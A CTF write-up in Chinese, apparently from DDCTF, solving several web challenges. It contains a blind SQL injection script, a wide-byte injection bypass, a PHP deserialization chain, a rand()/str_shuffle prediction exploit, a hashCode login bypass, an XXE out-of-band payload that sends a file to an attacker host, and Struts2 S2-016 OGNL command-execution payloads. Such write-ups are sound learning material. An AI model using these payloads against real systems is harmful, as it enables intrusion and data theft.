看题目猜是注入,访问题目发现只允许 123.232.23.245 IP 访问。没啥好说的,直接改 HTTP 的 HEADERS,加个 X-Forwarded-For: 123.232.23.245。发现可以正常访问了,并且注意到有个 hidden 的 input,参数名为 author,是本题的注入点。
为了测试 payload 方便,使用 burp 来修改数据。
proxy->options->match and replace
将 useragent 替换成 X-Forwarded-For: 123.232.23.245
将hidden 替换成text ,将intercept 勾上 off
这样就可以在浏览器上直接测试:
稍微 fuzz 下,过滤了 union ,只能使用 and 来盲注。同时提交请求还会带上一个 time 和 sig。这两个参数是在 js 计算出来的。思路很明确,有个盲注,需要计算 sig,和 time。直接使用 python 调用 js 来计算,就比较方便。或者使用 webdriver 来做。我选择 execjs 来调用 js 脚本。
#!/bin/usr/env python
#coding: utf-8
import sys
import requests
import time
import execjs
guess = "DCTFQWERYUIOPASGHJKLZXVBN{}_qwertyuiopasdfghjklzxcvbnm1234567890_@-M"
payload1 = "select schema_name from information_schema.SCHEMATA limit {database_offset},1"
payload2 = "test' && if(ascii(substr(({query}),{str_offset},1)) like {str_value},1,0)#"
payload3 = " select table_name from information_schema.tables where table_schema=0x6464637466 limit {table_offset},1"
payload4 = "select column_name from information_schema.columns where table_name=0x6374665f6b657932 limit {columns_offset},1"
payload5 = "select secvalue from ctf_key2 limit {row_offset},1"
key ="adrefkfweodfsdpiru"
source = open('/root/Desktop/web1.js').read()
context = execjs.compile(source)
headers ={
"X-Forwarded-For": "123.232.23.245",
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
}
result = []
def leakdata(i,payload):
data = ''
for j in range(1,40):
sys.stdout.flush()
index = 0
while index <= range(1, len(guess) + 1):
k = guess[index]
sys.stdout.writelines(data + ":" + str(j) + ":" + k + "n")
obj = context.eval("obj")
sqlstr = payload2.format(query=payload.format(row_offset=i), str_offset=j, str_value=ord(k))
obj['author'] = sqlstr
sys.stdout.writelines("Payload:" + sqlstr + "n")
time_now = int(time.time())
get_str = context.call("submitt", sqlstr)
url = "http://116.85.43.88:8080/UNWROBCEZRCYCMKH/dfe3ia/" + get_str
sys.stdout.writelines("POST At:" + url + "n")
r = requests.post(url, data=obj, headers=headers)
# print r.text
if 'time error' in r.text:
print "time error,retry:", j, k
index -= 1
if 'sig error' in r.text:
print "sig error,retry:", j, k
index -= 1
if 'test' in r.text:
print "OK", str(j), ":", k
data += k
break
if k =='M' and 'test' not in r.text:
return
index += 1
print data
result.append(data)
print result
#r = s.get("http://116.85.43.88:8080/UNWROBCEZRCYCMKH/dfe3ia/index.php",headers=headers)
#print r.text
leakdata(0,payload5)
查看首页 HTML 源代码,发现一个奇怪的链接
抓包 ico 文件,其中内容为you can only download .class .xml .ico .ks files ,将链接后面的 base64 解码得到favicon.ico ,尝试读取配置文件 web.xml ,一步步测试最后确定在 ../../WEB-INF/web.xml
首页注释中还有一处提示/flag/testflag/yourflag ,访问/flag/testflag/DDCTF{aaa} 页面报错得到 FlagController 路径
我们需要通过读取 java 编译的. class 来获取文件内容,接下来下载../../WEB-INF/classes/com/didichuxing/ctf/controller/user/FlagController.class ,通过 jd-gui 查看. class 文件
getflag 请求限制了0-9a-zA-Z ,而我们在首页获取到的邮箱并不符合。这里暂时没思路,继续读其他文件。
在读到../../WEB-INF/applicationContext.xml 的时候,其中包含了一处 Listener
读取../../WEB-INF/classes/com/didichuxing/ctf/listener/InitListener.class ,我这里直接放主要代码
代码大概意思就是获取 emails.txt 中的邮箱地址,然后随机生成 flag 并插入到数据库中。要注意的是 email 跟 flag 是进行了加密的,且两个加密方式都不一样。
emails.txt 是无法读取到的,新建个文本写入首页的个人邮箱就可以了,将 keystore 文件 sdl.ks 下载下来,修改一下 java 代码的路径,本地运行获取到加密的 email 地址
拿到加密的 email,POST 请求/flag/getflag/D3291F5CB317AB0F82E275638732924121736458613C7C4024F5C54E9C07FF88 ,拿到加密的 flag
在解密 flag 这里困了挺久的,flag 是使用 keystore 的私钥加密的,所以使用公钥解密。(同理,公钥加密的使用私钥解密)
flag.txt 写入加密的 flag,运行拿到正确 flag
在注释中的文章讲的是 big5 编码,所以我猜测是 big5 宽字节注入,在编码表中挑了一个 5C(即反斜杠 ) 结尾的字符 "么"
尝试注入
宽字节注入确实存在,直接上工具跑,其中过滤了 union,使用 uniunionon 替换绕过。获取路由表
访问/static/bootstrap/css/backup.css 解压拿到备份文件。直接看 Controller,Juesttry.php 存在反序列化漏洞
在 Test.php 中执行 getflag 输出 flag,我们构造反序列化链来进行获取 flag。
获得O:4:"Test":2:{s:9:"user_uuid";s:36:"8e9664f4-9586-4419-8fdc-d13285696a3d";s:2:"fl";O:4:"Flag":1:{s:3:"sql";O:3:"SQL":0:{}}}
,但并不符合 allowed_classes 允许的类,所以我们修改一下
O:17:"IndexHelperTest":2:{s:9:"user_uuid";s:36:"8e9664f4-9586-4419-8fdc-d13285696a3d";s:2:"fl";O:17:"IndexHelperFlag":1:{s:3:"sql";O:16:"IndexHelperSQL":0:{}}}
记得类名长度也要修改。最后反序列化获得 flag
题目给出了源码,可以看到在创建新块时,难度比较小(0 越少难度越小)。并且维持区块链正常工作的矿机全部宕机,所以我们只要能够挖矿的话,算力是达到 100% 的。换句话说我们能够完全控制区块链的增长方向。
在现实中因为我们没有这么强大的算力,黑客转账之后会有其他矿机挖出新的块不断的增长原链的长度,这样理论上不掌握 51% 的算力很难做到。(其实不到 51% 也可能做到,只是概率低)掌握了 51% 的算力意味着我们挖矿比任何人都快,他们在原来正确的链上增长速度没有我们伪造的快(当然,块的 hash 也要合法),到某一刻时,原链会被丢弃,反而承认我们伪造的块的正统地位。
不过这种攻击难以出现在现实情况,因为第一,黑客挖伪链期间没有任何收入,除非完成攻击。第二,黑客难以掌握 51% 以上的算力。第三,出现这种攻击成功后,必将导致区块链价格大跌,可能更赔钱。
所以这道题的解法就是添加空块使之分叉,调用后门。
如上表所示:实施两次 51% 攻击可以获得两个钻石。
参考知乎专栏:从零开始构建一个区块链 (一): 区块链(分享自知乎网)https://zhuanlan.zhihu.com/p/29875875?utm_source=qq&utm_medium=social 写个挖矿脚本:
#!/bin/usr/env python#coding:utf-8import hashlib
EMPTY_HASH='0'*64difficulty=int('00000' + 'f' * 59, 16)
block = {'prev':'4746ae2518acd0b9363e4b3a7d49e9f59b4496df6eed589646e23339acb4f334','transactions':[],'nonce':'0','hash':'4746ae2518acd0b9363e4b3a7d49e9f59b4496df6eed589646e23339acb4f334'} #这里的prev是银行拥有100000时的区块的hash。每次挖矿添加新块都要改成上一块的hashdef mineBlock(block,difficulty=difficulty):
while int(block['hash'], 16) > difficulty:
block['nonce']=str(int(block['nonce'])+1)
block['hash'] = hash_block(block)
return blockdef hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'],
reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):
return hash(hash(x) + hash(y))print mineBlock(block)
接下来就是比较繁琐的的添加新块了,按照刚给的表格构造假块,就能拿到 flag 了。注意要在一个 session 下操作,使用 requests 库时添加一个 header:Content-Type: application/json
下载源码,页面写的非常简单,通过预测 $admin 的值注册成管理员权限,在 index.php 中 sprintf 注入获取 flag。
这里我们要预测的是 str_shuffle 生成的值,看一下 str_shuffle 的 php 源码
str_shuffle 是通过获取 rand() 值计算键值进行字符串置换,打乱字符串。所以我们只要能预测 rand() 值,就能计算出 str_shuffle 生成的值
参考链接:http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/
其中提到的公式:state[i] = state[i-3] + state[i-31]
也就是说,rand 生成的第 i 个随机数,等于 i-3 个随机数加 i-31 个随机数的和。
所以我们需要生成至少 32 个随机数,就可以预测后面的随机数了。这里我们要用到 Keep-Alive 来获取随机数,只要 TCP 连接不断那么这个随机数生成就是连续的。
csrf 值就是 rand() 的结果,所以我们获取 32 次注册页面中的 csrf 值,就能预测出 rand() 的结果
成功预测 rand 值,过程中碰到一个坑,按照公式生成的值会越来越大,导致有偏差,实际上是要对结果进行 2147483647 取余才是 rand 的值
接着需要将 php 源代码中的 str_shuffle 算法移植成 python 代码,并估计猜测的 rand 值生成 str_shuffle 字符串。最终利用代码如下:
#coding:utf-8
import requests
import re
def RAND_RANGE(__n, __min, __max,__tmax):
return __min+(__max-__min+1.0)*(__n/(__tmax+1.0))
def shuffle(dstr,relist):
strlen = len(dstr)
dstr = bytearray(dstr)
if strlen<=1:
return
n_left = strlen
i=0
while --n_left:
n_left -=1
rnd_idx=relist[33+i]
i+=1
rnd_idx=int(RAND_RANGE(rnd_idx,0,n_left,2147483647))
if (rnd_idx!=n_left):
temp = dstr[n_left]
dstr[n_left] = dstr[rnd_idx]
dstr[rnd_idx]=temp
return dstr
def guess():
s=requests.session()
target='http://116.85.39.110:5032/be4c9b0ef056ee0276256c70bf4126c9/'
pattern = '<input type="hidden" name="csrf" id="csrf" value="([0-9]*)" required>'
relist= []
for i in range(32):#0-31
res = s.get(target+'register.php')
relist.append(int(re.search(pattern,res.text).group(1)))
print "访问32次!"
# 预测rand值
for i in range(32,120):
relist.append((relist[i-3]+relist[i-31]) % 2147483647)
print "预测第33个",relist[32]
res =s.get(target+'register.php')
print "第33个rand值:",re.search(pattern,res.text).group(1)
csrf = re.search(pattern,res.text).group(1)
print "当前csrf:",csrf
base='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
xstr = shuffle(base,relist)
calc_code = str("admin###"+xstr[0:32])
print calc_code
post_data ={
'csrf':csrf,
'username':'wfox9',
'password':'qwe123',
'code':calc_code
}
res =s.post(target+'/register.php',data=post_data)
print res.text
guess()
成功注册一个 admin 权限的用户
登陆之后在 title 处进行 sprintf 注入,参考文章 https://paper.seebug.org/386/
可以获取数据,直接丢 sqlmap 拿到 flag
查看注释拿到账号密码 admin: admin_password_2333_caicaikan
登陆后台之后,查看详情的链接可以读取文件,尝试读取 WEB-INF/web.xml
为了更方便的读取网站文件,找到了 github 中的原源码 https://github.com/Eliteams/quick4j
读取WEB-INF/classes/com/eliteams/quick4j/web/controller/UserController.class ,查看被修改过的片段
/nicaicaikan_url_23333_secret 存在 XXE 漏洞,不过只能super_admin
角色才能访问,所以我们找一下super_admin
角色的用户。
在读到WEB-INF/classes/com/eliteams/quick4j/web/security/SecurityRealm.class 发现了超级管理员 superadmin_hahaha_2333
当password.hashCode() == 0
的时候,就能成功登陆,所以要找个 hash 为 0 的字符串。通过谷歌找到了f5a5a608
的 hash 值为 0。账号superadmin_hahaha_2333
密码f5a5a608
成功登陆超级管理员后台
构造 xxe 的 payload,由于没有回显,可以利用 xxe oob 获取回显内容
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % remote SYSTEM "http://yourip/evil.xml">
%remote;
%all;
%send;
]>
evil.xml
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://yourip:2345/%file;'>">
%int;
%send;
]>
使用 nc 监听 vps 的 2345 端口nc -lvvp 2345
,读取 / flag/hint.txt
拿到 hint.txt 内容,提示需要探测内网 8080 端口的 tomcat_2 服务。这里我还去试了爆破 ip 段.... 结果站点线程全部阻塞把赛题弄崩了半个小时.... 最后脑洞猜到http://tomcat_2:8080/
,真的是骚...
访问 hello.action
提示当前是 Struts2 站点,读取 / flag/flag.txt 获取 flag。根据题目提示:第二层关卡应用版本号为 2.3.1,我们找一下 Struts 2.3.1 版本的漏洞
就决定是 s2-016 吧,在网上找到的 payload 丢过去,这里我 url 解码粘出来
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('whoami'.toString().split('\s'))).start().getInputStream()).useDelimiter('\A'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}
do not do evil things~ just try to read /flag/flag.txt~
,网上的 payload 都是执行系统命令的,那我把他改成读取文件的 payload
redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#a=#req.getSession(),#s=new java.io.File('/flag/flag.txt'),#q=new java.io.FileInputStream(#s),#w=new java.io.InputStreamReader(#q),#e=new java.io.BufferedReader(#w),#r=#e.readLine(),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#r),#matt.getWriter().flush(),#matt.getWriter().close()}
最后成功读取到/flag/flag.txt